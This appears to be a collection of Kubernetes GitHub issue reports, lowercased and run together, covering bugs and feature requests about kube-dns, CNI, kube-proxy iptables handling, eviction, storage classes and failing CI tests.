it's useful to have a helm chart that expose a value like  internalloadbalancer: true|false .\r \r however, the annotation  service.beta.kubernetes.io/aws-load-balancer-internal  simply ignores  true , as seen in\r \r https://github.com/kubernetes/kubernetes/blob/e4b0a935fa393944b6322fa6ef0970d858ad70f6/pkg/cloudprovider/providers/aws/aws.go l3332-l3337\r \r it's just checking that the value is not empty, so even if it's false - it'll try to create internal lb.

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r add a flag to kubelet to enable/disable cpu exclusive feature.\r   why is this needed  :\r we want bond  pod1  to some core, for example core 1,2,3,4. and set its cpushare to 1024.  the same time  we also want pod2 be  configured with cpushare=1.   this way if cpu exclusive is disabled, pod2 can use some cpu usage of pod1 when pod1 is in idle status, and pod1 can get back almost all cpu usage when it's busy。 as a result,  we can improve our cpu utilizition\r \r <!-- do not edit below this line -->\r  \r @kubernetes/sig-node-feature-requests

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r - https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-slow\r \r   which test s  are failing  :\r  subpath should support creating multiple subpath from same volumes , for both in-tree and csi volumes, and multiple drivers.\r \r   since when has it been failing  :\r 2019-02-04,  k/k:1e78fec9b  https://github.com/kubernetes/kubernetes/commit/1e78fec9b \r \r   testgrid link  :\r -  gce-cos-master-slow: run 23818  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/23818 \r \r   reason for failure  :\r it seems that pods are not initializing within the expected amount of time in these tests:\r    \r expected error:\r     < errors.errorstring | 0xc001b40fa0>: {\r         s: \ expected pod <...> success: pod <...> failed with status: {phase:failed conditions: {type:initialized status:false <...>}\r not to have occurred\r    \r \r   anything else we need to know  :\r - diff since last successful test:  f0beaf46d...1e78fec9b  https://github.com/kubernetes/kubernetes/compare/f0beaf46d...1e78fec9b \r \r   / \r cc @smourapina @alejandrox1 @mortent @kacole2 \r

there are cases when rc-resize cannot work  e.g. resizing a replication controller that has an rw-mounted pd . however, when we run this command, we don't get a reasonable error message, but a timeout.  i suspect that \ resize\  handler doesn't actually check the conditions, but dumbly tries to update the rc.

from  stackoverflow question  http://stackoverflow.com/questions/37555281/create-kubernetes-pod-with-volume-using-kubectl-run/37621761 , the user was adding  \ containers\   to the wrong object. rather than reporting an error, the mismatched fields were silently ignored.  more generally, any arbitrary fields added   \ foo\ : \ bar\ ,   are silently ignored, making the config difficult to debug.

so i am trying to get a better understanding of the various metrics endpoints that kubernetes exposes. currently, we collect metrics using telegraf from the following sources: - https:// $kubernetes_service_host : $kubernetes_service_port /metrics - https:// $kubernetes_service_host : $kubernetes_service_port /api/v1/proxy/nodes/ $node_name /metrics  the first url gives me things about the overall system like api latency. the second url gives me more specific information related to the pods like cpu and memory usage.   however, the problem i have right now is that it seems like the cpu usage is reported back as usage in seconds which is different from how kubernetes wants us to input usage for things like limits. so i would like to find out if there is a way to either gather cpu usage in  millicore/s  or  nanocore/s  which are exposed in cadvisor but do not seem to be exposed in the k8s api.

test has been failing  100% of the time  http://k8s-testgrid.appspot.com/google-1.3-1.5-upgrade gke-container_vm-1.3-container_vm-1.5-upgrade-master&include-filter-by-regex=pods%20should%20invoke%20init%20containers%20on%20a%20restartnever%20pod  in  ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-master  http://k8s-testgrid.appspot.com/google-1.3-1.5-upgrade gke-container_vm-1.3-container_vm-1.5-upgrade-master . sample failure:  link  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-master/15 .\r \r based on  spreadsheet  https://docs.google.com/spreadsheets/d/1sazqywe--0fvn1piuktw9jwmcxnz6tqim1mrjdiltm4/edit gid=1325239137&vpid=a1  tracking 1.5 upgrade test failures created by @krousey.

when writing daemonsets we decided that they shouldn't be deleted by nodecontroller in case of node problems. now that we're moving to using taints and taint-based evictions  nc will just taint nodes and the rest will be done by generic taint-eviction mechanism  we need to add infinite toleration for those taints to daemonsets to keep this behavior.\r \r cc @davidopp @kevin-wangzefeng @aveshagarwal @fgrzadkowski

hi, \r \r i spent few last days fighting with kubedns and finally decided to write up here as all my ideas how to solve it were finished. i have also red a lot off stuff related to this issue but even if i did a  lot of changes, adjustements i still have an issue. \r \r first of all, i'm using kubernetes on centos from official packages 1.4\r \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ 87d9d8d7bc5aa35041a8ddfe3d4b367381112f89\ , gittreestate:\ clean\ , builddate:\ 2017-01-23t14:15:25z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ 87d9d8d7bc5aa35041a8ddfe3d4b367381112f89\ , gittreestate:\ clean\ , builddate:\ 2017-01-23t14:15:25z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r i've configured  i hope properly  all services on master and minions sides. i'm using secure ca/keys for communication between master and nodes and it seems to work properly. i do not see any issues when services kube-apiserver, kube-controller-manager, kube-scheduler start. \r \r kubedns, dnsmasq, sidecar are created w/o any issues. here is output from logs taken from kubedns container\r kubectl --namespace=kube-system logs  kube-dns-2408966145-8oz8t -c kubedns\r i0228 12:43:27.094834       1 dns.go:49  version: v1.5.2-beta.0+$format:%h$\r i0228 12:43:27.096634       1 server.go:70  using configuration read from directory: /kube-dns-config%! extra time.duration=10s \r i0228 12:43:27.096688       1 server.go:110  flag: --alsologtostderr=\ false\ \r i0228 12:43:27.096706       1 server.go:110  flag: --config-dir=\ /kube-dns-config\ \r i0228 12:43:27.096719       1 server.go:110  flag: --config-map=\ \ \r i0228 12:43:27.096726       1 server.go:110  flag: --config-map-namespace=\ kube-system\ \r i0228 12:43:27.096732       1 server.go:110  flag: --config-period=\ 10s\ \r i0228 12:43:27.096742       1 server.go:110  flag: --dns-bind-address=\ 0.0.0.0\ \r i0228 12:43:27.096749       1 server.go:110  flag: --dns-port=\ 10053\ \r i0228 12:43:27.096759       1 server.go:110  flag: --domain=\ cluster.local.\ \r i0228 12:43:27.096770       1 server.go:110  flag: --federations=\ \ \r i0228 12:43:27.096779       1 server.go:110  flag: --healthz-port=\ 8081\ \r i0228 12:43:27.096788       1 server.go:110  flag: --initial-sync-timeout=\ 1m0s\ \r i0228 12:43:27.096796       1 server.go:110  flag: --kube-master-url=\ \ \r i0228 12:43:27.096808       1 server.go:110  flag: --kubecfg-file=\ \ \r i0228 12:43:27.096815       1 server.go:110  flag: --log-backtrace-at=\ :0\ \r i0228 12:43:27.096824       1 server.go:110  flag: --log-dir=\ \ \r i0228 12:43:27.096832       1 server.go:110  flag: --log-flush-frequency=\ 5s\ \r i0228 12:43:27.096838       1 server.go:110  flag: --logtostderr=\ true\ \r i0228 12:43:27.096847       1 server.go:110  flag: --nameservers=\ \ \r i0228 12:43:27.096855       1 server.go:110  flag: --stderrthreshold=\ 2\ \r i0228 12:43:27.096863       1 server.go:110  flag: --v=\ 2\ \r i0228 12:43:27.096871       1 server.go:110  flag: --version=\ false\ \r i0228 12:43:27.096894       1 server.go:110  flag: --vmodule=\ \ \r i0228 12:43:27.097036       1 server.go:173  starting skydns server  0.0.0.0:10053 \r i0228 12:43:27.097562       1 server.go:195  skydns metrics enabled  /metrics:10055 \r i0228 12:43:27.097586       1 dns.go:147  starting endpointscontroller\r i0228 12:43:27.097596       1 dns.go:150  starting servicecontroller\r i0228 12:43:27.097965       1 logs.go:41  skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053  rcache 0 \r i0228 12:43:27.097995       1 logs.go:41  skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053  rcache 0 \r i0228 12:43:27.399790       1 dns.go:264  new service: kubernetes\r i0228 12:43:27.399991       1 dns.go:462  added srv record &{host:kubernetes.default.svc.cluster.local. port:443 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0228 12:43:27.400071       1 dns.go:264  new service: kube-dns\r i0228 12:43:27.400122       1 dns.go:462  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0228 12:43:27.400166       1 dns.go:462  added srv record &{host:kube-dns.kube-system.svc.cluster.local. port:53 priority:10 weight:10 text: mail:false ttl:30 targetstrip:0 group: key:}\r i0228 12:43:27.597864       1 dns.go:171  initialized services and endpoints from apiserver\r i0228 12:43:27.597910       1 server.go:126  setting up healthz handler  /readiness \r i0228 12:43:27.597922       1 server.go:131  setting up cache handler  /cache \r i0228 12:43:27.597931       1 server.go:117  status http port 8081\r \r i have also setup --cluster-dns=10.254.0.10 --cluster-domain=cluster.local on kubelet side and these also seem to work properly. \r \r as you may know i've created busybox to check connectivity and resolver of my kubedns and here is a problem: \r \r   kubectl exec -it busybox -- nslookup busybox\r server:    10.254.0.10\r address 1: 10.254.0.10 kube-dns.kube-system.svc.cluster.local\r \r name:      busybox\r address 1: 172.30.98.2 busybox\r \r   kubectl exec -it busybox -- nslookup kubernetes\r server:    10.254.0.10\r address 1: 10.254.0.10 kube-dns.kube-system.svc.cluster.local\r \r name:      kubernetes\r address 1: 10.254.0.1 kubernetes.default.svc.cluster.local\r \r   kubectl exec -it busybox -- nslookup kubernetes.default \r server:    10.254.0.10\r address 1: 10.254.0.10 kube-dns.kube-system.svc.cluster.local\r \r   nslookup: can't resolve 'kubernetes.default'  \r \r  kubectl exec -it busybox -- cat /etc/resolv.conf \r search default.svc.cluster.local svc.cluster.local cluster.local \r nameserver 10.254.0.10\r options ndots:5\r  \r i'm using latest kubedns stuff from here: https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/dns\r \r what is wrong there ? i can deliver additional information. outputs from command if you wish. \r \r

this is a follow-up to  41267.\r \r  42042 removed support in  kubefed join  for clusters that don't support rbac. based on a discussion between me, @csbell and @madhusudancs, we need to decide kubernetes cluster versions federation will support. if we want to support pre-rbac clusters, we need to reintroduce the old mechanism, with noisy warnings that the user should update for better security; if not, than this issue can be quickly closed.

this issue is mainly for discussion and tracking for cni integration related problems. cni spec is an open-ended specification. kubelet/dockershim provides cni network plugin to integrate with 3rd-party cni plugins. \r \r   requirements and limitations  \r \r - cni spec only specifies 2 verbs, add and del. there is no list or get operation to retrieve states. this implies that kubelet/dockershim must memorize the state and supply correct cni parameters for add/del.\r \r - for setup, kubelet calls runpodsandbox and dockershim triggers add using user provided cni net config. kubelet only utilized cni plugin in a limited way:\r     only the first valid network config from  cni-config-dir  is picked. this will change in the future as multi-network gets implemented. \r     the result response from cni plugin is not really used.\r     pod ip is retrieved by nsenter into the pod's netns. \r \r - kubelet calls stoppodsandbox which triggers cni del at multiple occasions asynchronously.\r     if user deletes pod. \r     if current pod sandbox did not match the desire state.\r     if any unwanted pod was presented.\r     kubelet container gc will call stoppodsandbox and make sure it return successfully before continue to removepodsandbox. this is to make sure all resources have been released. \r \r - dockershim maintains checkpoint per pod sandbox. this helps dockershim to store necessary information to recover and clean up after unexpected disruption  e.g docker/kubelet/dockershim crash, pod sandbox missing . checkpoint is removed at the very end in removepodsandbox. as long as checkpoint exists, kubelet assumes that sandbox and its allocated resource are not removed completely.\r \r   problems  feel free to add more    \r - some cni plugin return error on duplicate dels  even with empty cni_netns . hence container gc could not proceed to removepodsandbox. \r - in the case of recreating pod sandbox, some cni plugins are dependent on the execution sequence of add/del for the same pod. \r \r   proposed solution  \r 1  require cni plugins to tolerate duplicate dels  at least with empty cni_netns . put this in cni spec. \r 2  ensure kubelet only finishes one successful stoppodsandbox per sandbox.\r 3  ensure dockershim only triggers one successful cni del per sandbox.\r \r \r   future work  \r - conformance test suite for 3rd-party cni plugins and net configs.\r \r \r \r \r \r \r \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : deployment, replicaset, cache, annotation\r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : 1.5.6\r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : ubuntu 14.04\r \r   what happened  :\r if one of the controllers adds an annotation to an replicaset, the replicaset controller's  updaters    function will not be able to notice the change. but if user changes the annotation via kubectl, the replicaset controller will notice the change.\r \r   how to reproduce it    as minimally and precisely as possible :\r will update later.\r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r in the kubernetes 1.6 release, dynamic provisioning has been promoted to stable  having entered beta in 1.4 . in 1.6,  storageclassname  attribute has been added to  persistentvolume  and  persistentvolumeclaim  objects and should be used instead of annotation  volume.beta.kubernetes.io/storage-class . suggest remove the annotation in 1.8 release . \r \r /cc @kubernetes/sig-storage-feature-requests \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r there was a significant performance improvement made to iptables. since ipvs proxier makes use of iptables in some use cases, i think we should rsync ipvs proxier to the head of iptables.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign @m1093782566\r /cc @thockin @freehan \r

\r  \r   what happened  :\r kubelet is not creating the log symlink for some containers at '/var/log/containers'\r \r   what you expected to happen  :\r \r the symlink is a requirement for fluentd, we expect to have a symlink for any running container inside a pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r we run test with the following script and found many cases, but we could not reproduced in a dev environment.\r    \r  !/bin/bash \r docker ps -qa | while read line;\r do\r   if    find /var/log/containers -name  $line  | wc -l  = \ 0\   \r   then\r     echo $line\r   fi\r done\r \r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t10:00:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t09:42:05z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r uname -a\r linux master0 4.8.0-58-generic  63~16.04.1-ubuntu smp mon jun 26 18:08:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r    \r containers: 26\r  running: 18\r  paused: 0\r  stopped: 8\r images: 20\r server version: 1.12.6\r storage driver: aufs\r

the introduction of device plugin support in kubelet ended up deleting opaque integer resources that are not exposed via device plugins. \r relevant code  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kubelet_node_status.go l616 .\r \r two things need to happen now in v1.8:\r 1. add a test to catch this regression\r 2. have kubelet not delete extended resources.\r \r cluster admins will have to manually remove extended resources exposed via device plugins when they remove plugins. \r \r @kubernetes/sig-node-bugs

is this a bug report or feature request?  :\r  \r   what happened  :\r i went to the  documentation page   , and read about dynamic provisioning. a default class was set, but the defaultstoreclass admission plugin wasn't enabled, and i spent several hours searching as to why my pvc's weren't auto provisioning. \r \r   what you expected to happen  :\r i would have liked to have seen more documentation mentioning that the admission plugin is required for dynamic provisioning, with a link  here  https://kubernetes.io/docs/admin/admission-controllers/ defaultstorageclass .

one pretty uniform feedback from client-go users @ kubecon was that they struggle with supporting old and new kubernetes clusters from one code-base of their operators. keeping old api versions around longer than we serve them in kube-apiserver might help them. so they can move on to the new client-go, but have an abstraction logic in their operator to fall-back to the old api group versions.\r \r keeping api group versions around is cheap: we only have to keep them in k8s.io/api, but can remove the internal types and conversions.

in https://github.com/kubernetes/kubernetes/pull/55650 support for  runtime.unstructured  was added to  runtime.scheme . with https://github.com/kubernetes/kubernetes/pull/60113 we have to support  unstructured  with custom typers and converters using  groupversions  that are not known to our legacy schemes. this is broken right now:\r \r the versioning codec https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/runtime/serializer/versioning/versioning.go l171 ignores conversions for  unstructured . \r \r kubectl makes heavy use of this bug by using legacy codecs bound to the legacy scheme, but passing  unstructured  objects with arbitrary groupversion to them. this fails because the scheme does not know the input groupversion. as a consequence not even the identity conversion is done  which would also be wrong if the target version is different .\r \r hence, if we can make the versioning codecs more strict  compare https://github.com/kubernetes/kubernetes/pull/60201  and add  unstructured  conversion  needed for crds https://github.com/kubernetes/kubernetes/pull/60113 , this leads to many broken kubectl tests.\r \r probably, we have to add the old  unstructured  behaviour to the kubectl legacy codecs  e.g. using a wrapper . but even this is questionable.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r in k8s 1.13.1 version。when a pod is changed, the kube-proxy log info  show that the lvs rs ip is changed. but using 'ipvsadm -ln', it's unccorrectly.    it's only part of the node will have the situation\r sometimes.\r the bad node in  kube-proxy log info    don't have     graceful_termination.go:160  trying to delete rs \r   xxxxxx    and    graceful_termination.go:173  deleting rs  xxxxx  \r \r \r \r \r   what you expected to happen  :\r \r the nodeport  on the corresponding node is inaccessible\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r in 1.13.1 version，and  then update one deployment . use  ipvsadm -ln  check nodeport\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  1.13.1  :\r - cloud provider or hardware configuration:\r - os  centos linux :\r - kernel  3.10.0-514.el7.x86_64  :\r - install tools: ipvsadm-1.27-7.el7.x86_64\r - others:\r \r <!-- do not edit below this line -->\r   \r ! kube-proxy  https://user-images.githubusercontent.com/28727045/50418351-e9476480-0865-11e9-81ca-e04353b2c6c3.png \r \r  \r

what happened  :\r when restarting kube-proxy in iptables mode, there will be several seconds of timeouts because it flushes the kube-services nat chain and several others.\r \r   what you expected to happen  :\r restarting kube-proxy should not impact traffic in any way.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. run an http server behind a clusterip service\r 2. run an http client in a loop making requests to the http server\r 3. kill -15 the kube-proxy process on the client node\r 4. connections timeout for a few seconds until kube-proxy re-syncs the iptables rules\r \r   anything else we need to know?  :\r running with  -v=6  makes it pretty clear what's happening:\r    \r i0314 05:35:28.808656       7 server_others.go:174  tearing down inactive rules.\r i0314 05:35:28.808673       7 iptables.go:419  running iptables -c  output -t nat -m comment --comment handle clusterips; note: this must be before the nodeport rules -j kube-portals-host \r i0314 05:35:28.812934       7 iptables.go:419  running iptables -c  prerouting -t nat -m comment --comment handle clusterips; note: this must be before the nodeport rules -j kube-portals-container \r i0314 05:35:28.816683       7 iptables.go:419  running iptables -c  output -t nat -m addrtype --dst-type local -m comment --comment handle service nodeports; note: this must be the last rule in the chain -j kube-nodeport-host \r i0314 05:35:28.821715       7 iptables.go:419  running iptables -c  prerouting -t nat -m addrtype --dst-type local -m comment --comment handle service nodeports; note: this must be the last rule in the chain -j kube-nodeport-container \r i0314 05:35:28.825080       7 iptables.go:419  running iptables -c  input -t filter -m comment --comment ensure that non-local nodeport traffic can flow -j kube-nodeport-non-local \r i0314 05:35:28.826834       7 iptables.go:419  running iptables -f  kube-portals-container -t nat \r i0314 05:35:28.830456       7 iptables.go:419  running iptables -f  kube-portals-host -t nat \r i0314 05:35:28.833272       7 iptables.go:419  running iptables -f  kube-nodeport-host -t nat \r i0314 05:35:28.836361       7 iptables.go:419  running iptables -f  kube-nodeport-container -t nat \r i0314 05:35:28.839093       7 iptables.go:419  running iptables -f  kube-nodeport-non-local -t filter \r i0314 05:35:28.840088       7 iptables.go:419  running iptables -c  output -t nat -m comment --comment kubernetes service portals -j kube-services \r i0314 05:35:28.843330       7 iptables.go:419  running iptables -d  output -t nat -m comment --comment kubernetes service portals -j kube-services \r i0314 05:35:28.847852       7 iptables.go:419  running iptables -c  prerouting -t nat -m comment --comment kubernetes service portals -j kube-services \r i0314 05:35:28.850976       7 iptables.go:419  running iptables -d  prerouting -t nat -m comment --comment kubernetes service portals -j kube-services \r i0314 05:35:28.855081       7 iptables.go:419  running iptables -c  postrouting -t nat -m comment --comment kubernetes postrouting rules -j kube-postrouting \r i0314 05:35:28.857992       7 iptables.go:419  running iptables -d  postrouting -t nat -m comment --comment kubernetes postrouting rules -j kube-postrouting \r i0314 05:35:28.862013       7 iptables.go:419  running iptables -f  kube-services -t nat \r i0314 05:35:28.865648       7 iptables.go:419  running iptables -x  kube-services -t nat \r i0314 05:35:28.869143       7 iptables.go:419  running iptables -f  kube-postrouting -t nat \r i0314 05:35:28.872606       7 iptables.go:419  running iptables -x  kube-postrouting -t nat \r i0314 05:35:29.159612       7 server.go:444  version: v1.10.11\r    \r it says it's cleaning up inactive rules, but these are crucial to the iptables proxier. you can trivially reproduce by just running:\r    \r iptables -f kube-services -t nat\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.11\r - cloud provider or hardware configuration: amazon\r - os  e.g:  cat /etc/os-release  : custom\r - kernel  e.g.  uname -a  : 4.14.77-hs623.el6.x86_64\r - install tools: custom\r - others: iptables 1.6.2\r \r we're running kube-proxy 1.10.11, but i've confirmed this issue with kube-proxy 1.13.4 too

well designed applications run as non-root, so having secrets only readable by root would improve the levels of defense in depth.

what would you like to be added  :\r the  scheduling framework kep  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md  is now implementable. we have  already added  https://github.com/kubernetes/kubernetes/pull/75848  plugin interfaces and extension points for \  reserve  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md reserve \  and \  prebind  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md pre-bind \  plugins.\r \  un-reserve  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md un-reserve \  is an important extension point that can be most useful for \ reserve\  plugins. this extension point notifies plugins that something went wrong in the process of reserving a node for the pod.\r for example, consider the following scenario:\r 1. pod passes all filters and a node is picked to run the pod. scheduler starts calling \ reserve\  plugins.\r 2. assume that there are three \ reserve\  plugins. the first two are called and return success.\r 3. the third plugin returns an error.\r \r at this point, if the first two plugin has updated their own state with the fact that the pod is going to be assigned to the picked \ node\ , they must be notified that the picked node is not going to be reserved for running the pod. by notifying them, we let them perform any necessary clean-up.\r \r the scheduler cache currently has a similar function called   forgetpod  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/internal/cache/cache.go l319  . we should probably create a helper function that calls \ un-reserve\  plugins and  forgetpod  and call the new helper function where  forgetpod  is currently called. this should be analyzed further to ensure that this works correctly in all scenarios.\r \r  / /label \ help wanted\ \r ref/ kubernetes/enhancements 624

noticed when reviewing  20886  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/describe.go  describers should all print object metadata consistently  name, namespace if relevant, labels .  all controllers should print at least pod templates the same way -- using describepodtemplate.  i'm sure there are other opportunities to improve consistency. i just noticed these differences at a glance.  the resource printers  for get  are also inconsistent. @adohe has been improving on them  e.g.,  20557,  20409 .  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/resource_printer.go  cc @kubernetes/kubectl @mqliang @erictune @mikedanese @janetkuo @kargakis @madhusudancs @adohe

problem: we have kubectl flags  --api-version and --output-version  that take an api version. these were designed when we had just one group and it was expected that just specifying the version will be enough. but, we now have multiple groups with potentially multiple versions in each group. we have replaced version by groupversion at most places, but these kubectl flags remain.  this issue is to discuss the path forward for these kubectl flags. what we should do in 1.2 and what is post-1.2  cc @bgrant0607 @deads2k @smarterclayton @lavalamp @caesarxuchao @janetkuo @kubernetes/kubectl

the eviction manager monitoring interval is set to 10 seconds, which is the same as cadvisor's monitoring interval. this causes eviction manager to evict more pods than needed due to the timing gap between the 2 intervals.    test setup   i set up kubelet with the hard eviction option for nodsfs.available and started 2 pods on the same node. pod 1 is a do-nothing pod while pod 2 is constantly writing to disk.     expected   when nodsfs.available drops below the eviction threshold, pod 2 gets evicted while pod 1 is left alone  because there's ample disk space after pod 2 is evicted and cleaned up .    observed   both pods are evicted.  later i changed evictionmonitoringperiod to be 30 seconds and rerun the same test. this time only pod 2 got evicted and pod 1 kept running.

cluster/gce/upgrade.sh  uses  gcloud alpha compute rolling-updates  under the covers to do node upgrade. if the mig rolling update wedges for some reason, we need to give the user enough information to recover  automatically recovering is probably too error-prone . one possibility is that when it starts node upgrade, upgrade.sh should print out the commands for monitoring the status and canceling  canceling requires pausing first, then canceling . something like      you can monitor the progress of the upgrade using % gcloud alpha compute rolling-updates describe xxx and % gcloud alpha compute rolling-updates list-instance-updates xxx  to pause, resume, cancel, or rollback the upgrade, first kill the upgrade.sh script and then use % gcloud alpha compute rolling-updates <pause/resume/cancel/rollback> xxx  to cancel, you must pause first and then cancel .  if you kill the upgrade, you'll need to remove the old instance template using gcloud compute instance-templates delete yyy      where yyy is the old instance template name and xxx is the rolling update id  we should fill these in for the user . in large clusters there will be more than one mig, hence more than one rolling-update, so we'd need to list all of the xxx's  i.e. multiple  gcloud alpha compute rolling-updates describe  and  list-instance-updates  and  <pause/resume/cancel/rollback>  lines .  we should also have  kube-down.sh  notice if there are any rolling upgrades that are in any state other than cancelled, and print a message telling the user to pause and then cancel them if they think they should not be running, using language similar to the above.  cc/ @gmarek @wojtek-t @grodrigues3

in case when etcd cluster is configured with the tls auth  kubectl get cs  returns errors:      sh $ kubectl get componentstatuses name                 status      message                                                               error scheduler            healthy     ok                                                                     controller-manager   healthy     ok                                                                     etcd-0               unhealthy   get https://172.16.4.205:2379/health: remote error: bad certificate    etcd-1               unhealthy   get https://172.16.4.54:2379/health: remote error: bad certificate     etcd-2               unhealthy   get https://172.16.4.206:2379/health: remote error: bad certificate      in case when scheduler and controller-manager are configured to listen on private interface  nigher  wildcard nor localhost   kubectl get cs  also returns errors:      sh $ kubectl get componentstatuses name                 status      message                                                                                        error scheduler            unhealthy   get http://127.0.0.1:10251/healthz: dial tcp 127.0.0.1:10251: getsockopt: connection refused controller-manager   unhealthy   get http://127.0.0.1:10252/healthz: dial tcp 127.0.0.1:10252: getsockopt: connection refused      /cc @bregor  the draft fix is  here  https://github.com/kayrus/kubernetes/commit/aa7c91c0b6f39503b98f127b42274e35256f2b91

/ /  /status approved-for-milestone\r /area platform/gke\r @kubernetes/sig-cluster-lifecycle-test-failures\r owns the test\r @kubernetes/sig-gcp-test-failures\r this looks gke-specific\r \r this test has been failing since at least 2017-11-13 for the following jobs:\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-1.8-downgrade-cluster-parallel\r - https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-1.8-downgrade-cluster\r \r these jobs are on the  sig-release-master-upgrade dashboard  https://k8s-testgrid.appspot.com/sig-release-master-upgrade , and prevent us from cutting v1.9.0-beta.1  kubernetes/sig-release 34 . is there work ongoing to bring this test back to green?\r \r  triage report  https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=%5c%5bsig%5c-cluster%5c-lifecycle%5c%5d%5c%20downgrade%5c%20%5c%5bfeature%3adowngrade%5c%5d%5c%20cluster%5c%20downgrade%5c%20should%5c%20maintain%5c%20a%5c%20functioning%5c%20cluster%5c%20%5c%5bfeature%3aclusterdowngrade%5c%5d \r \r  triage cluster 1a3779e6777a416e5ddf  https://storage.googleapis.com/k8s-gubernator/triage/index.html 1a3779e6777a416e5ddf \r    \r ...responseerror: code=400, message=cluster master cannot be upgrade to \\\\\\\ 1.8.4-beta.0.69+9befc2b8928a94\\\\\\\ ...\r    \r \r sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel/839

